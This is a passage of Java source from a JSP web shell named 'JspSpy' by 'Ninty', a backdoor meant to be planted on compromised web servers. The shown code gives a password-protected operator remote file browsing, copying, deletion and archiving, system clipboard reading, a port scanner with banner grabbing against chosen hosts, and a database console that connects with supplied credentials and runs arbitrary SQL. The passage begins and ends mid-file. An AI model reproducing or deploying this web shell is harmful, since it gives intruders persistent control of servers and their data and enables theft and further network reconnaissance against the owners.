  723. public void invoke(HttpServletRequest request,HttpServletResponse response,HttpSession JSession) throws Exception{
  724. try {
  725. PrintWriter out = response.getWriter();
  726. out.println("<script type=\"text/javascript\">"+
  727. " String.prototype.trim = function(){return this.replace(/^\\s+|\\s+$/,'');};"+
  728. " function fso(obj) {"+
  729. " this.currentDir = '"+JSession.getAttribute(CURRENT_DIR)+"';"+
  730. " this.filename = obj.filename;"+
  731. " this.path = obj.path;"+
  732. " this.filetype = obj.filetype;"+
  733. " this.charset = obj.charset;"+
  734. " };"+
  735. " fso.prototype = {"+
  736. " copy:function(){"+
  737. " var path = prompt('Copy To : ',this.path);"+
  738. " if (path == null || path.trim().length == 0 || path.trim() == this.path)return;"+
  739. " doPost({o:'copy',src:this.path,to:path});"+
  740. " },"+
  741. " move:function() {"+
  742. " var path =prompt('Move To : ',this.path);"+
  743. " if (path == null || path.trim().length == 0 || path.trim() == this.path)return;"+
  744. " doPost({o:'move',src:this.path,to:path})"+
  745. " },"+
  746. " vEdit:function() {"+
  747. " if (!this.charset)"+
  748. " doPost({o:'vEdit',filepath:this.path});"+
  749. " else"+
  750. " doPost({o:'vEdit',filepath:this.path,charset:this.charset});"+
  751. " },"+
  752. " down:function() {"+
  753. " doPost({o:'down',path:this.path})"+
  754. " },"+
  755. " removedir:function() {"+
  756. " if (!confirm('Dangerous ! Are You Sure To Delete '+this.filename+'?'))return;"+
  757. " doPost({o:'removedir',dir:this.path});"+
  758. " },"+
  759. " mkdir:function() {"+
  760. " var name = prompt('Input New Directory Name','');"+
  761. " if (name == null || name.trim().length == 0)return;"+
  762. " doPost({o:'mkdir',name:name});"+
  763. " },"+
  764. " subdir:function(out) {"+
  765. " doPost({o:'filelist',folder:this.path,outentry:(out || 'none')})"+
  766. " },"+
  767. " parent:function() {"+
  768. " var parent=(this.path.substr(0,this.path.lastIndexOf(\"/\")))+'/';"+
  769. " doPost({o:'filelist',folder:parent})"+
  770. " },"+
  771. " createFile:function() {"+
  772. " var path = prompt('Input New File Name','');"+
  773. " if (path == null || path.trim().length == 0) return;"+
  774. " doPost({o:'vCreateFile',filepath:path})"+
  775. " },"+
  776. " deleteBatch:function() {"+
  777. " if (!confirm('Are You Sure To Delete These Files?')) return;"+
  778. " var selected = new Array();"+
  779. " var inputs = document.getElementsByTagName('input');"+
  780. " for (var i = 0;i<inputs.length;i++){if(inputs[i].checked){selected.push(inputs[i].value)}}"+
  781. " if (selected.length == 0) {alert('No File Selected');return;}"+
  782. " doPost({o:'deleteBatch',files:selected.join(',')})"+
  783. " },"+
  784. " packBatch:function() {"+
  785. " var selected = new Array();"+
  786. " var inputs = document.getElementsByTagName('input');"+
  787. " for (var i = 0;i<inputs.length;i++){if(inputs[i].checked){selected.push(inputs[i].value)}}"+
  788. " if (selected.length == 0) {alert('No File Selected');return;}"+
  789. " var savefilename = prompt('Input Target File Name(Only Support ZIP)','pack.zip');"+
  790. " if (savefilename == null || savefilename.trim().length == 0)return;"+
  791. " doPost({o:'packBatch',files:selected.join(','),savefilename:savefilename})"+
  792. " },"+
  793. " pack:function(showconfig) {"+
  794. " if (showconfig && confirm('Need Pack Configuration?')) {doPost({o:'vPack',packedfile:this.path});return;}"+
  795. " var tmpName = '';"+
  796. " if (this.filename.indexOf('.') == -1) tmpName = this.filename;"+
  797. " else tmpName = this.filename.substr(0,this.filename.lastIndexOf('.'));"+
  798. " tmpName += '.zip';"+
  799. " var path = this.path;"+
  800. " var name = prompt('Input Target File Name (Only Support Zip)',tmpName);"+
  801. " if (name == null || path.trim().length == 0) return;"+
  802. " doPost({o:'pack',packedfile:path,savefilename:name})"+
  803. " },"+
  804. " vEditProperty:function() {"+
  805. " var path = this.path;"+
  806. " doPost({o:'vEditProperty',filepath:path})"+
  807. " },"+
  808. " unpack:function() {"+
  809. " var path = prompt('unpack to : ',this.currentDir+'/'+this.filename.substr(0,this.filename.lastIndexOf('.')));"+
  810. " if (path == null || path.trim().length == 0) return;"+
  811. " doPost({o:'unpack',savepath:path,zipfile:this.path})"+
  812. " },"+
  813. " enter:function() {"+
  814. " doPost({o:'enter',filepath:this.path})"+
  815. " }"+
  816. " };"+
  817. " function doPost(obj) {"+
  818. " var form = document.forms[\"doForm\"];"+
  819. " var elements = form.elements;for (var i = form.length - 1;i>=0;i--){form.removeChild(elements[i])}"+
  820. " for (var pro in obj)"+
  821. " {"+
  822. " var input = document.createElement(\"input\");"+
  823. " input.type = \"hidden\";"+
  824. " input.name = pro;"+
  825. " input.value = obj[pro];"+
  826. " form.appendChild(input);"+
  827. " }"+
  828. " form.submit();"+
  829. " }"+
  830. "</script>");
  831. } catch (Exception e) {
  832. throw e ;
  833. }
  834. }
  835. }
  836. private static class BeforeInvoker extends DefaultInvoker {
  837. public void invoke(HttpServletRequest request,HttpServletResponse response,HttpSession JSession) throws Exception{
  838. try {
  839. PrintWriter out = response.getWriter();
  840. out.println("<html><head><title>JspSpy Private Codz By - Ninty</title><style type=\"text/css\">"+
  841. "body,td{font: 12px Arial,Tahoma;line-height: 16px;}"+
  842. ".input{font:12px Arial,Tahoma;background:#fff;border: 1px solid #666;padding:2px;height:22px;}"+
  843. ".area{font:12px 'Courier New', Monospace;background:#fff;border: 1px solid #666;padding:2px;}"+
  844. ".bt {border-color:#b0b0b0;background:#3d3d3d;color:#ffffff;font:12px Arial,Tahoma;height:22px;}"+
  845. "a {color: #00f;text-decoration:underline;}"+
  846. "a:hover{color: #f00;text-decoration:none;}"+
  847. ".alt1 td{border-top:1px solid #fff;border-bottom:1px solid #ddd;background:#f1f1f1;padding:5px 10px 5px 5px;}"+
  848. ".alt2 td{border-top:1px solid #fff;border-bottom:1px solid #ddd;background:#f9f9f9;padding:5px 10px 5px 5px;}"+
  849. ".focus td{border-top:1px solid #fff;border-bottom:1px solid #ddd;background:#ffffaa;padding:5px 10px 5px 5px;}"+
  850. ".head td{border-top:1px solid #fff;border-bottom:1px solid #ddd;background:#e9e9e9;padding:5px 10px 5px 5px;font-weight:bold;}"+
  851. ".head td span{font-weight:normal;}"+
  852. "form{margin:0;padding:0;}"+
  853. "h2{margin:0;padding:0;height:24px;line-height:24px;font-size:14px;color:#5B686F;}"+
  854. "ul.info li{margin:0;color:#444;line-height:24px;height:24px;}"+
  855. "u{text-decoration: none;color:#777;float:left;display:block;width:150px;margin-right:10px;}"+
  856. ".secho{height:400px;width:100%;overflow:auto;border:none}"+
  857. "hr{border: 1px solid rgb(221, 221, 221); height: 0px;}"+
  858. "</style></head><body style=\"margin:0;table-layout:fixed; word-break:break-all\">");
  859. } catch (Exception e) {
  860. throw e ;
  861. }
  862. }
  863. }
  864. private static class AfterInvoker extends DefaultInvoker {
  865. public void invoke(HttpServletRequest request,HttpServletResponse response,HttpSession JSession) throws Exception{
  866. try {
  867. PrintWriter out = response.getWriter();
  868. out.println("</body></html>");
  869. } catch (Exception e) {
  870. throw e ;
  871. }
  872. }
  873. }
  874. private static class DeleteBatchInvoker extends DefaultInvoker {
  875. public boolean doBefore(){return false;}
  876. public boolean doAfter(){return false;}
  877. public void invoke(HttpServletRequest request,HttpServletResponse response,HttpSession JSession) throws Exception{
  878. try {
  879. String files = request.getParameter("files");
  880. int success = 0;
  881. int failed = 0;
  882. if (!Util.isEmpty(files)) {
  883. String currentDir = JSession.getAttribute(CURRENT_DIR).toString();
  884. String[] arr = files.split(",");
  885. for (int i = 0;i<arr.length;i++) {
  886. String fs = arr[i];
  887. File f = new File(currentDir,fs);
  888. if(f.delete())
  889. success += 1;
  890. else
  891. failed += 1;
  892. }
  893. }
  894. JSession.setAttribute(MSG,success+" Files Deleted <span style='color:green'>Success</span> , "+failed+" Files Deleted <span style='color:red'>Failed</span>!");
  895. response.sendRedirect(SHELL_NAME);
  896. } catch (Exception e) {
  897. throw e ;
  898. }
  899. }
  900. }
  901. private static class ClipBoardInvoker extends DefaultInvoker {
  902. public void invoke(HttpServletRequest request,HttpServletResponse response,HttpSession JSession) throws Exception{
  903. try {
  904. PrintWriter out = response.getWriter();
  905. out.println("<table width=\"100%\" border=\"0\" cellpadding=\"15\" cellspacing=\"0\">"+
  906. " <tr>"+
  907. " <td>"+
  908. " <h2>System Clipboard &raquo;</h2>"+
  909. "<p><pre>");
  910. try{
  911. out.println(Util.htmlEncode(Util.getStr(Toolkit.getDefaultToolkit().getSystemClipboard().getContents(DataFlavor.stringFlavor).getTransferData(DataFlavor.stringFlavor))));
  912. }catch (Exception ex) {
  913. out.println("ClipBoard is Empty Or Is Not Text Data !");
  914. }
  915. out.println("</pre>"+
  916. " <input class=\"bt\" name=\"button\" id=\"button\" onClick=\"history.back()\" value=\"Back\" type=\"button\" size=\"100\" />"+
  917. " </p>"+
  918. " </td>"+
  919. " </tr>"+
  920. "</table>");
  921. } catch (Exception e) {
  922. throw e ;
  923. }
  924. }
  925. }
  926. private static class VPortScanInvoker extends DefaultInvoker {
  927. public void invoke(HttpServletRequest request,HttpServletResponse response,HttpSession JSession) throws Exception{
  928. try {
  929. PrintWriter out = response.getWriter();
  930. String ip = request.getParameter("ip");
  931. String ports = request.getParameter("ports");
  932. String timeout = request.getParameter("timeout");
  933. String banner = request.getParameter("banner");
  934. if (Util.isEmpty(ip))
  935. ip = "127.0.0.1";
  936. if (Util.isEmpty(ports))
  937. ports = "21,25,80,110,1433,1723,3306,3389,4899,5631,43958,65500";
  938. if (Util.isEmpty(timeout))
  939. timeout = "2";
  940. out.println("<table width=\"100%\" border=\"0\" cellpadding=\"15\" cellspacing=\"0\"><tr><td>"+
  941. "<h2 id=\"Bin_H2_Title\">PortScan &gt;&gt;</h2>"+
  942. "<div id=\"YwLB\"><form action=\""+SHELL_NAME+"\" method=\"post\">"+
  943. "<p><input type=\"hidden\" value=\"portScan\" name=\"o\">"+
  944. "IP : <input name=\"ip\" type=\"text\" value=\""+ip+"\" id=\"ip\" class=\"input\" style=\"width:10%;margin:0 8px;\" /> Port : <input name=\"ports\" type=\"text\" value=\""+ports+"\" id=\"ports\" class=\"input\" style=\"width:40%;margin:0 8px;\" /> <input "+(!Util.isEmpty(banner) ? "checked" : "")+" type='checkbox' value='yes' name='banner'/>Banner Timeout (Second) : <input name=\"timeout\" type=\"text\" value=\""+timeout+"\" id=\"timeout\" class=\"input\" size=\"5\" style=\"margin:0 8px;\" /> <input type=\"submit\" name=\"submit\" value=\"Scan\" id=\"submit\" class=\"bt\" />"+
  945. "</p>"+
  946. "</form></div>"+
  947. "</td></tr></table>");
  948. } catch (Exception e) {
  949. throw e ;
  950. }
  951. }
  952. }
  953. private static class PortScanInvoker extends DefaultInvoker {
  954. public void invoke(HttpServletRequest request,HttpServletResponse response,HttpSession JSession) throws Exception{
  955. try {
  956. PrintWriter out = response.getWriter();
  957. ((Invoker)ins.get("vPortScan")).invoke(request,response,JSession);
  958. out.println("<hr/>");
  959. String ip = request.getParameter("ip");
  960. String ports = request.getParameter("ports");
  961. String timeout = request.getParameter("timeout");
  962. String banner = request.getParameter("banner");
  963. int iTimeout = 0;
  964. if (Util.isEmpty(ip) || Util.isEmpty(ports))
  965. return;
  966. if (!Util.isInteger(timeout)) {
  967. timeout = "2";
  968. }
  969. iTimeout = Integer.parseInt(timeout);
  970. Map rs = new LinkedHashMap();
  971. String[] portArr = ports.split(",");
  972. for (int i =0;i<portArr.length;i++) {
  973. String port = portArr[i];
  974. BufferedReader r = null;
  975. try {
  976. Socket s = new Socket();
  977. s.connect(new InetSocketAddress(ip,Integer.parseInt(port)),iTimeout);
  978. s.setSoTimeout(iTimeout);
  979. if (!Util.isEmpty(banner)) {
  980. r = new BufferedReader(new InputStreamReader(s.getInputStream()));
  981. StringBuffer sb = new StringBuffer();
  982. String b = r.readLine();
  983. while (b != null) {
  984. sb.append(b+" ");
  985. try {
  986. b = r.readLine();
  987. } catch (Exception e) {
  988. break;
  989. }
  990. }
  991. rs.put(port,"Open <span style=\"color:grey;font-weight:normal\">"+sb.toString()+"</span>");
  992. r.close();
  993. } else {
  994. rs.put(port,"Open");
  995. }
  996. s.close();
  997. } catch (Exception e) {
  998. if (e.toString().toLowerCase().indexOf("read timed out")!=-1) {
  999. rs.put(port,"Open <span style=\"color:grey;font-weight:normal\">&lt;&lt;No Banner!&gt;&gt;</span>");
  1000. if (r != null)
  1001. r.close();
  1002. } else {
  1003. rs.put(port,"Close");
  1004. }
  1005. }
  1006. }
  1007. out.println("<div style='margin:10px'>");
  1008. Set entrySet = rs.entrySet();
  1009. Iterator it = entrySet.iterator();
  1010. while (it.hasNext()) {
  1011. Map.Entry e = (Map.Entry)it.next();
  1012. String port = (String)e.getKey();
  1013. String value = (String)e.getValue();
  1014. out.println(ip+" : "+port+" ................................. <font color="+(value.equals("Close")?"red":"green")+"><b>"+value+"</b></font><br>");
  1015. }
  1016. out.println("</div>");
  1017. } catch (Exception e) {
  1018. throw e ;
  1019. }
  1020. }
  1021. }
  1022. private static class VConnInvoker extends DefaultInvoker {
  1023. public void invoke(HttpServletRequest request,HttpServletResponse response,HttpSession JSession) throws Exception{
  1024. try {
  1025. PrintWriter out = response.getWriter();
  1026. Object obj = JSession.getAttribute(DBO);
  1027. if (obj == null || !((DBOperator)obj).isValid()) {
  1028. out.println(" <script type=\"text/javascript\">"+
  1029. " function changeurldriver(){"+
  1030. " var form = document.forms[\"form1\"];"+
  1031. " var v = form.elements[\"db\"].value;"+
  1032. " form.elements[\"url\"].value = v.split(\"`\")[1];"+
  1033. " form.elements[\"driver\"].value = v.split(\"`\")[0];"+
  1034. " form.elements[\"selectDb\"].value = form.elements[\"db\"].selectedIndex;"+
  1035. " }"+
  1036. " </script>");
  1037. out.println("<table width=\"100%\" border=\"0\" cellpadding=\"15\" cellspacing=\"0\"><tr><td>"+
  1038. "<form name=\"form1\" id=\"form1\" action=\""+SHELL_NAME+"\" method=\"post\" >"+
  1039. "<input type=\"hidden\" id=\"selectDb\" name=\"selectDb\" value=\"0\">"+
  1040. "<h2>DataBase Manager &raquo;</h2>"+
  1041. "<input id=\"action\" type=\"hidden\" name=\"o\" value=\"dbc\" />"+
  1042. "<p>"+
  1043. "Driver:"+
  1044. " <input class=\"input\" name=\"driver\" id=\"driver\" type=\"text\" size=\"35\" />"+
  1045. "URL:"+
  1046. "<input class=\"input\" name=\"url\" id=\"url\" value=\"\" type=\"text\" size=\"90\" />"+
  1047. "UID:"+
  1048. "<input class=\"input\" name=\"uid\" id=\"uid\" value=\"\" type=\"text\" size=\"10\" />"+
  1049. "PWD:"+
  1050. "<input class=\"input\" name=\"pwd\" id=\"pwd\" value=\"\" type=\"text\" size=\"10\" />"+
  1051. "DataBase:"+
  1052. " <select onchange='changeurldriver()' class=\"input\" id=\"db\" name=\"db\" >"+
  1053. " <option value='com.mysql.jdbc.Driver`jdbc:mysql://localhost:3306/mysql?useUnicode=true&characterEncoding=GBK'>Mysql</option>"+
  1054. " <option value='oracle.jdbc.driver.OracleDriver`jdbc:oracle:thin:@dbhost:1521:ORA1'>Oracle</option>"+
  1055. " <option value='com.microsoft.jdbc.sqlserver.SQLServerDriver`jdbc:microsoft:sqlserver://localhost:1433;DatabaseName=master'>Sql Server</option>"+
  1056. " <option value='sun.jdbc.odbc.JdbcOdbcDriver`jdbc:odbc:Driver={Microsoft Access Driver (*.mdb)};DBQ=C:\\ninty.mdb'>Access</option>"+
  1057. " <option value=' ` '>Other</option>"+
  1058. " </select>"+
  1059. "<input class=\"bt\" name=\"connect\" id=\"connect\" value=\"Connect\" type=\"submit\" size=\"100\" />"+
  1060. "</p>"+
  1061. "</form></table><script>changeurldriver()</script>");
  1062. } else {
  1063. ((Invoker)ins.get("dbc")).invoke(request,response,JSession);
  1064. }
  1065. } catch (ClassCastException e) {
  1066. throw e;
  1067. } catch (Exception e) {
  1068. throw e ;
  1069. }
  1070. }
  1071. }
  1072. //DBConnect
  1073. private static class DbcInvoker extends DefaultInvoker {
  1074. public void invoke(HttpServletRequest request,HttpServletResponse response,HttpSession JSession) throws Exception{
  1075. try {
  1076. PrintWriter out = response.getWriter();
  1077. String driver = request.getParameter("driver");
  1078. String url = request.getParameter("url");
  1079. String uid = request.getParameter("uid");
  1080. String pwd = request.getParameter("pwd");
  1081. String sql = request.getParameter("sql");
  1082. String selectDb = request.getParameter("selectDb");
  1083. if (selectDb == null)
  1084. selectDb = JSession.getAttribute("selectDb").toString();
  1085. else
  1086. JSession.setAttribute("selectDb",selectDb);
  1087. Object dbo = JSession.getAttribute(DBO);
  1088. if (dbo == null || !((DBOperator)dbo).isValid()) {
  1089. if (dbo != null)
  1090. ((DBOperator)dbo).close();
  1091. dbo = new DBOperator(driver,url,uid,pwd,true);
  1092. } else {
  1093. if (!Util.isEmpty(driver) && !Util.isEmpty(url) && !Util.isEmpty(uid)) {
  1094. DBOperator oldDbo = (DBOperator)dbo;
  1095. dbo = new DBOperator(driver,url,uid,pwd);
  1096. if (!oldDbo.equals(dbo)) {
  1097. ((DBOperator)oldDbo).close();
  1098. ((DBOperator)dbo).connect();
  1099. } else {
  1100. dbo = oldDbo;
  1101. }
  1102. }
  1103. }
  1104. DBOperator Ddbo = (DBOperator)dbo;
  1105. JSession.setAttribute(DBO,Ddbo);
  1106. if (!Util.isEmpty(request.getParameter("type")) && request.getParameter("type").equals("switch")) {
  1107. Ddbo.getConn().setCatalog(request.getParameter("catalog"));
  1108. }
  1109. Util.outMsg(out,"Connect To DataBase Success!");
  1110. out.println(" <script type=\"text/javascript\">"+
  1111. " function changeurldriver(selectDb){"+
  1112. " var form = document.forms[\"form1\"];"+
  1113. " if (selectDb){"+
  1114. " form.elements[\"db\"].selectedIndex = selectDb"+
  1115. " }"+
  1116. " var v = form.elements[\"db\"].value;"+
  1117. " form.elements[\"url\"].value = v.split(\"`\")[1];"+
  1118. " form.elements[\"driver\"].value = v.split(\"`\")[0];"+
  1119. " form.elements[\"selectDb\"].value = form.elements[\"db\"].selectedIndex;"+
  1120. " }"+
  1121. " </script>");
  1122. out.println("<table width=\"100%\" border=\"0\" cellpadding=\"15\" cellspacing=\"0\"><tr><td>"+
  1123. "<form name=\"form1\" id=\"form1\" action=\""+SHELL_NAME+"\" method=\"post\" >"+
  1124. "<input type=\"hidden\" id=\"selectDb\" name=\"selectDb\" value=\""+selectDb+"\">"+
  1125. "<h2>DataBase Manager &raquo;</h2>"+
  1126. "<input id=\"action\" type=\"hidden\" name=\"o\" value=\"dbc\" />"+
  1127. "<p>"+
  1128. "Driver:"+
  1129. " <input class=\"input\" name=\"driver\" value=\""+Ddbo.driver+"\" id=\"driver\" type=\"text\" size=\"35\" />"+
  1130. "URL:"+
  1131. "<input class=\"input\" name=\"url\" value=\""+Ddbo.url+"\" id=\"url\" value=\"\" type=\"text\" size=\"90\" />"+
  1132. "UID:"+
  1133. "<input class=\"input\" name=\"uid\" value=\""+Ddbo.uid+"\" id=\"uid\" value=\"\" type=\"text\" size=\"10\" />"+
  1134. "PWD:"+
  1135. "<input class=\"input\" name=\"pwd\" value=\""+Ddbo.pwd+"\" id=\"pwd\" value=\"\" type=\"text\" size=\"10\" />"+
  1136. "DataBase:"+
  1137. " <select onchange='changeurldriver()' class=\"input\" id=\"db\" name=\"db\" >"+
  1138. " <option value='com.mysql.jdbc.Driver`jdbc:mysql://localhost:3306/mysql?useUnicode=true&characterEncoding=GBK'>Mysql</option>"+
  1139. " <option value='oracle.jdbc.driver.OracleDriver`jdbc:oracle:thin:@dbhost:1521:ORA1'>Oracle</option>"+
  1140. " <option value='com.microsoft.jdbc.sqlserver.SQLServerDriver`jdbc:microsoft:sqlserver://localhost:1433;DatabaseName=master'>Sql Server</option>"+
  1141. " <option value='sun.jdbc.odbc.JdbcOdbcDriver`jdbc:odbc:Driver={Microsoft Access Driver (*.mdb)};DBQ=C:/ninty.mdb'>Access</option>"+
  1142. " <option value=' ` '>Other</option>"+
  1143. " </select>"+
  1144. "<input class=\"bt\" name=\"connect\" id=\"connect\" value=\"Connect\" type=\"submit\" size=\"100\" />"+
  1145. "</p>"+
  1146. "</form><script>changeurldriver('"+selectDb+"')</script>");
  1147. DatabaseMetaData meta = Ddbo.getConn().getMetaData();
  1148. out.println("<form action=\""+SHELL_NAME+"\" method=\"POST\">"+
  1149. "<p><input type=\"hidden\" name=\"selectDb\" value=\""+selectDb+"\"><input type=\"hidden\" name=\"o\" value=\"executesql\"><table width=\"200\" border=\"0\" cellpadding=\"0\" cellspacing=\"0\"><tr><td colspan=\"2\">Version : <b style='color:red;font-size:14px'><i>"+meta.getDatabaseProductName()+" , "+meta.getDatabaseProductVersion()+"</i></b><br/>URL : <b style='color:red;font-size:14px'><i>"+meta.getURL()+"</i></b><br/>Catalog : <b style='color:red;font-size:14px'><i>"+Ddbo.getConn().getCatalog()+"</i></b><br/>UserName : <b style='color:red;font-size:14px'><i>"+meta.getUserName()+"</i></b><br/><br/></td></tr><tr><td colspan=\"2\">Run SQL query/queries on database / <b><i>Switch Database :</i></b> ");
  1150. out.println("<select id=\"catalogs\" onchange=\"if (this.value == '0') return;doPost({o:'executesql',type:'switch',catalog:document.getElementById('catalogs').value})\">");
  1151. out.println("<option value='0'>-- Select a DataBase --</option>");
  1152. ResultSet dbs = meta.getCatalogs();
  1153. try {
  1154. while (dbs.next()){
  1155. out.println("<option value='"+dbs.getString(1)+"'>"+dbs.getString(1)+"</option>");
  1156. }
  1157. }catch(Exception ex) {
  1158. }
  1159. dbs.close();
  1160. out.println("</select></td></tr><tr><td><textarea id=\"sql\" name=\"sql\" class=\"area\" style=\"width:600px;height:50px;overflow:auto;\">"+Util.htmlEncode(Util.getStr(sql))+"</textarea><input class=\"bt\" name=\"submit\" type=\"submit\" value=\"Query\" /> <input class=\"bt\" onclick=\"doPost({o:'export',type:'queryexp',sql:document.getElementById('sql').value})\" type=\"button\" value=\"Export\" /> <input type='button' value='Export To File' class='bt' onclick=\"doPost({o:'vExport',type:'queryexp',sql:document.getElementById('sql').value})\"></td><td nowrap style=\"padding:0 5px;\"></td></tr></table></p></form></table>");
  1161. if (Util.isEmpty(sql)) {
  1162. String type = request.getParameter("type");
  1163. if (Util.isEmpty(type) || type.equals("switch")) {
  1164. ResultSet tbs = meta.getTables(null,null,null,null);
  1165. out.println(Table.rs2Table(tbs,meta.getIdentifierQuoteString(),true));
  1166. tbs.close();
  1167. } else if (type.equals("struct")) {
  1168. String tb = request.getParameter("table");
  1169. if (Util.isEmpty(tb))
  1170. return;
  1171. ResultSet t = meta.getColumns(null,null,tb,null);
  1172. out.println(Table.rs2Table(t,"",false));
  1173. t.close();
  1174. }
  1175. }
  1176. } catch (Exception e) {
  1177. JSession.setAttribute(MSG,"<span style='color:red'>Some Error Occurred. Please Check Out the StackTrace Follow.</span>"+BACK_HREF);
  1178. throw e;
  1179. }
  1180. }
  1181. }
  1182. private static class ExecuteSQLInvoker extends DefaultInvoker{
  1183. public void invoke(HttpServletRequest request,HttpServletResponse response,HttpSession JSession) throws Exception{
  1184. try {
  1185. PrintWriter out = response.getWriter();
  1186. String sql = request.getParameter("sql");
  1187. String db = request.getParameter("selectDb");
  1188. Object dbo = JSession.getAttribute(DBO);
  1189. if (!Util.isEmpty(sql)) {
  1190. if (dbo == null || !((DBOperator)dbo).isValid()) {
  1191. ((Invoker)ins.get("vConn")).invoke(request,response,JSession);
  1192. return;
  1193. } else {
  1194. ((Invoker)ins.get("dbc")).invoke(request,response,JSession);
  1195. Object obj = ((DBOperator)dbo).execute(sql);
  1196. if (obj instanceof ResultSet) {
  1197. ResultSet rs = (ResultSet)obj;
  1198. ResultSetMetaData meta = rs.getMetaData();
  1199. int colCount = meta.getColumnCount();
  1200. out.println("<b style=\"margin-left:15px\">Query#0 : "+Util.htmlEncode(sql)+"</b><br/><br/>");
  1201. out.println("<table border=\"0\" cellpadding=\"3\" cellspacing=\"0\" style=\"margin-left:15px\"><tr class=\"head\">");
  1202. for (int i=1;i<=colCount;i++) {
  1203. out.println("<td nowrap>"+meta.getColumnName(i)+"<br><span>"+meta.getColumnTypeName(i)+"</span></td>");
  1204. }
  1205. out.println("</tr>");
  1206. Table tb = new Table();
  1207. while(rs.next()) {
  1208. Row r = new Row();
  1209. for (int i = 1;i<=colCount;i++) {
  1210. String v = null;
  1211. try {
  1212. v = rs.getString(i);
  1213. } catch (SQLException ex) {
  1214. v = "<<Error!>>";
  1215. }
  1216. r.addColumn(new Column(v));
  1217. }
  1218. tb.addRow(r);
  1219. }
  1220. out.println(tb.toString());
  1221. out.println("</table><br/>");
  1222. rs.close();
  1223. ((DBOperator)dbo).closeStmt();
  1224. } else {
  1225. out.println("<b style='margin-left:15px'>affected rows : <i>"+obj+"</i></b><br/><br/>");
  1226. }
  1227. }
  1228. } else {
  1229. ((Invoker)ins.get("dbc")).invoke(request,response,JSession);
  1230. }
  1231. } catch (Exception e) {
  1232. throw e ;
  1233. }
  1234. }
  1235. }
  1236. private static class VLoginInvoker extends DefaultInvoker {
  1237. public boolean doBefore() {return false;}
  1238. public void invoke(HttpServletRequest request,HttpServletResponse response,HttpSession JSession) throws Exception{
  1239. try {
  1240. PrintWriter out = response.getWriter();
  1241. out.println("<html><head><title>jspspy</title><style type=\"text/css\">"+
  1242. " input {font:11px Verdana;BACKGROUND: #FFFFFF;height: 18px;border: 1px solid #666666;}"+
  1243. "a{font:11px Verdana;BACKGROUND: #FFFFFF;}"+
  1244. " </style></head><body><form method=\"POST\" action=\""+SHELL_NAME+"\">"+
  1245. "<!--<p style=\"font:11px Verdana;color:red\">Private Edition Dont Share It !</p>-->"+
  1246. " <p><span style=\"font:11px Verdana;\">Password: </span>"+
  1247. " <input name=\"o\" type=\"hidden\" value=\"login\">"+
  1248. " <input name=\"pw\" type=\"password\" size=\"20\">"+
  1249. " <input type=\"hidden\" name=\"o\" value=\"login\">"+
  1250. " <input type=\"submit\" value=\"Login\"><br/>"+
  1251. "<!--<span style=\"font:11px Verdana;\">Copyright &copy; 2009 NinTy </span><a href=\"http://www.forjj.com\" target=\"_blank\">www.Forjj.com</a>--></p>"+
  1252. " </form><span style='font-weight:bold;color:red;font-size:12px'>CY... I Love You. I Do! by n1nty 2010/8/18</span></body></html>");
  1253. } catch (Exception e) {
  1254. throw e ;
  1255. }
  1256. }
  1257. }
  1258. private static class LoginInvoker extends DefaultInvoker{
  1259. public boolean doBefore() {return false;}
  1260. public void invoke(HttpServletRequest request,HttpServletResponse response,HttpSession JSession) throws Exception{
  1261. try {
  1262. String inputPw = request.getParameter("pw");
  1263. if (Util.isEmpty(inputPw) || !inputPw.equals(PW)) {
  1264. ((Invoker)ins.get("vLogin")).invoke(request,response,JSession);
  1265. return;
  1266. } else {
  1267. JSession.setAttribute(PW_SESSION_ATTRIBUTE,inputPw);
  1268. response.sendRedirect(SHELL_NAME);
  1269. return;
  1270. }
  1271. } catch (Exception e) {
  1272. throw e ;
  1273. }
  1274. }
  1275. }
  1276. private static class MyComparator implements Comparator{
  1277. public int compare(Object obj1,Object obj2) {
  1278. try {
  1279. if (obj1 != null && obj2 != null) {
  1280. File f1 = (File)obj1;
  1281. File f2 = (File)obj2;
  1282. if (f1.isDirectory()) {
  1283. if (f2.isDirectory()) {
  1284. return f1.getName().compareTo(f2.getName());
  1285. } else {
  1286. return -1;
  1287. }
  1288. } else {
  1289. if (f2.isDirectory()) {
  1290. return 1;
  1291. } else {
  1292. return f1.getName().toLowerCase().compareTo(f2.getName().toLowerCase());
  1293. }
  1294. }
  1295. }
  1296. return 0;
  1297. } catch (Exception e) {
  1298. return 0;
  1299. }
  1300. }
  1301. }
  1302. private static class FileListInvoker extends DefaultInvoker {
  1303. public void invoke(HttpServletRequest request,HttpServletResponse response,HttpSession JSession) throws Exception {
  1304. try {
  1305. String path2View = null;
  1306. PrintWriter out = response.getWriter();
  1307. String path = request.getParameter("folder");
  1308. String outEntry = request.getParameter("outentry");
  1309. if (!Util.isEmpty(outEntry) && outEntry.equals("true")) {
  1310. JSession.removeAttribute(ENTER);
  1311. JSession.removeAttribute(ENTER_MSG);
  1312. JSession.removeAttribute(ENTER_CURRENT_DIR);
  1313. }
  1314. Object enter = JSession.getAttribute(ENTER);
  1315. File file = null;
  1316. if (!Util.isEmpty(enter)) {
  1317. if (Util.isEmpty(path)) {
  1318. if (JSession.getAttribute(ENTER_CURRENT_DIR) == null)
  1319. path = "/";
  1320. else
  1321. path = (String)(JSession.getAttribute(ENTER_CURRENT_DIR));
  1322. }
  1323. file = new EnterFile(path);
  1324. ((EnterFile)file).setZf((String)enter);
  1325. JSession.setAttribute(ENTER_CURRENT_DIR,path);
  1326. } else {
  1327. if (Util.isEmpty(path))
  1328. path = JSession.getAttribute(CURRENT_DIR).toString();
  1329. JSession.setAttribute(CURRENT_DIR,Util.convertPath(path));
  1330. file = new File(path);
  1331. }
  1332. path2View = Util.convertPath(path);
  1333. if (!file.exists()) {
  1334. throw new Exception(path+"Dont Exists !");
  1335. }
  1336. File[] list = file.listFiles();
  1337. Arrays.sort(list,new MyComparator());
  1338. out.println("<div style='margin:10px'>");
  1339. String cr = null;
  1340. try {
  1341. cr = JSession.getAttribute(CURRENT_DIR).toString().substring(0,3);
  1342. }catch(Exception e) {
  1343. cr = "/";
  1344. }
  1345. File currentRoot = new File(cr);
  1346. out.println("<h2>File Manager - Current disk &quot;"+(cr.indexOf("/") == 0?"/":currentRoot.getPath())+"&quot; total (unknow)</h2>");
  1347. out.println("<form action=\""+SHELL_NAME+"\" method=\"post\">"+
  1348. "<table width=\"98%\" border=\"0\" cellpadding=\"0\" cellspacing=\"0\" style=\"margin:10px 0;\">"+
  1349. " <tr>"+
  1350. " <td nowrap>Current Directory <input type=\"hidden\" name=\"o\" value=\"filelist\"/></td>"+
